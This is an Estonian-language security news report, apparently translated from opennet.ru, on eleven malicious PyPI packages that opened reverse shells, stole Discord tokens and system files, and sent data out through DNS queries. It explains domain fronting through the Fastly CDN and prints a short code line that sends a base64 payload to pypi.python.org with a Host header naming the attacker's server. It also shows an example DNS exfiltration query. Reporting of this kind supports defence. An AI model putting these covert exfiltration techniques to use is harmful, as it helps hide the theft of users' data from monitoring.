PyPI (Python Package Index) kataloogis on tuvastatud 11 pahatahtlikku paketti. Enne probleemide avastamist oli pakette kokku allalaaditud umbes 38 tuhat korda. Tuvastatud pahatahtlikud paketid on tÀhelepanuvÀÀrsed oma keerukate meetodite tÔttu, millega nad varjasid sidet kurjategijatelt pÀrinevate serveritega.
- importantpackage (6305 allalaadimist), important-package (12897) â loomise ĂŒhendus vĂ€lise serveriga nĂ€iliselt pypi.python.org kaudu, et pakkuda sĂŒsteemile shell-i juurdepÀÀsu (reverse shell) ja kasutasid side varjamiseks programmi trevorc2.
- pptest (10001), ipboards (946) â kasutasid DNS-i sidekanalina sĂŒsteemi teabe edastamiseks (esimeses paketis hosti nimi, töötav kataloog, sise- ja vĂ€line IP, teises â kasutajanimi ja host).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) â tuvastasid sĂŒsteemis Discordi teenuse mĂ€rgendi ja edastasid selle vĂ€lisele hostile.
- trrfab (287) â edastas vĂ€lisele hostile identifikaatori, hosti nime ning sisu /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) â seadis ĂŒles pöördse shell-ĂŒhenduse vĂ€lise hostiga.
- yandex-yt (4183) â edastas teate sĂŒsteemi kompromiteerimisest ja suunab lisainfoga lehele, mis on esitatud lĂ€bi nda.ya.ru (api.ya.cc).
Erilist tĂ€helepanu vÀÀrib vĂ€liste hostide juurde pöördumise meetod, mida kasutasid paketid importantpackage ja important-package, mis kasutasid oma tegevuse varjamiseks sisu kohaletoimetamise vĂ”rku Fastly, mida rakendati PyPI kataloogis. Tegelikult saadeti pĂ€ringud serverisse pypi.python.org (sealhulgas, nĂ€idates nime python.org SNI sees HTTPS pĂ€ringus), kuid HTTP-pĂ€ises "Host" mÀÀrati rĂŒndajate kontrolli all oleva serveri nimi (sec.forward.io.global.prod.fastly.net). Sisu kohaletoimetamise vĂ”rk suunas sellise pĂ€ringu rĂŒndajate serverisse, kasutades andmete edastamiseks TLS-ĂŒhenduse parameetreid pypi.python.org.
PyPI infrastruktuuri töö tagab Fastly sisu kohaletoimetamise vÔrk, kus tavaliste pÀringute vahemÀllu salvestamiseks kasutatakse lÀbipaistvat Varnishi vaheproksit, samuti rakendatakse TLS-sertifikaatide töötlemist CDN-i tasandil, mitte lÔpp-serverites, et suunata HTTPS-pÀringud lÀbi vaheproksi. Olenemata sihtperemehest suunatakse pÀringud vaheproksile, mis mÀÀrab vajaliku peremehe HTTP-pealkirja "Host" jÀrgi. domeenid peremehed on seotud kliendile tavaliste Fastly CDN-i koormuse jagamise IP-aadressidega.
RĂŒndavate serverite aadress registreeritakse ka Fastly CDN-is, mis pakub kĂ”igile tasuta hindamisplaane ja isegi vĂ”imaldab anonĂŒĂŒmset registreerimist. Huvi pakub, et rĂŒnnaku sihtmĂ€rgile pĂ€ringute saatmiseks kasutatakse sarnast skeemi, kuid see algatatakse rĂŒndajate poolt peremehelt. RĂŒndajate serveri poole interaktsioon nĂ€eb vĂ€lja nagu legitiimne sessioon PyPI kataloogiga, krĂŒpteeritud kasutades TLS-sertifikaat PyPI. Sarnane tehnika, mida tuntakse nimega "domain fronting", on varem aktiivselt kasutatud hostinime varjamiseks blokeeringutest möödumisel, kasutades mĂ”nede CDN-vĂ”rkude pakutavat vĂ”imalust suhelda HTTPSi kaudu, nĂ€idates SNI-s vale hostit ja edastades pĂ€ringute hostinime HTTP pĂ€ises Host TLS-seansi jooksul.

Kahjustava tegevuse varjamiseks kasutati lisaks paketti TrevorC2, mis vÔimaldab serveriga suhtlemist sarnaneda tavapÀrase veebisirvimisega, nÀiteks kahjustavad pÀringud saadeti, esitades end pildi laadimisena "https://pypi.python.org/images/guid=" koos teabe kodeerimisega parameetris guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = { 'Host': "psec.forward.io.global.prod.fastly.net" })
Pptest ja ipboards pakettides kasutati vĂ”rguaktiivsuse varjamiseks teistsugust lĂ€henemist, mis pĂ”hines kasuliku informatsiooni kodeerimisel DNS-serveri pĂ€ringutesse. Kahjulik tarkvara edastab teavet, tehes DNS-pĂ€ringuid nagu «nu4timjagq4fimbuhe.example.com», mille alamsĂŒsteemi nimes on base64 formaadis kodeeritud edastatavad andmed juhtserverile. Kurjategija vĂ”tab vastu sĂ”numi andmed, jĂ€lgides DNS-serverit domeeni example.com jaoks.
Allikas: opennet.ru
